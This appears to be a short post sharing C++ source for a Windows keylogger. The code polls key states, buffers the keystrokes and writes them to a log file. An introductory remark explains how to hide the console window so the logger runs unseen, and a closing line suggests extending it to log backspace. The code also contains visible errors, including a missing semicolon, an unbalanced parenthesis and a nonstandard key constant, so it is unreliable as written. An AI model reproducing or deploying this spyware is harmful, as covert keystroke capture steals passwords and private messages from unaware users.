Note: this keylogger was implementated in an int main() function,
so that a console window appears when you open it, but that problem
can be solved by using a WINAPI WinMain() function so that no window
apperars
Jetkey Nature 2013
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#include <fstream>
#include <string>
#include <windows.h>
using namespace std;
//global variables
ofstream out;
string buffer;
int counter
//global variables
//keylist prototype
void keylist(char key);
//keylist prototype
/***************Main****************/
int main()
{
//array for every important character key
char chType[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
//the while-loop to check the key state every 100 milliseconds
while(1==1)
{
for (int i=0; i<36; i++)
keylist(chType[i];
if(GetAsyncKeyState(VK_SPACE))
{
buffer.append(" ");
counter++;
}
if(GetAsyncKeyState(VK_ENTER))
{
buffer.append("\n");
counter ++;
}
//flush the string
if(counter==15)
{
out.open("keylog.txt", ios::app);
out << buffer;
buffer = "";
out.close();
counter=0;
}
//every 100 ms
Sleep(100);
}
}
/***************Main****************/
//keylist function
void keylist(char key)
{
//check if the user presses a key
if(GetAsyncKeyState(key))
{
string skey = key;
buffer.append(skey);
counter++;
}
}
//keylist function
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in the code there is missing a log for the backspace key but thats an additional feature and i think you could do it on your own; its not necessary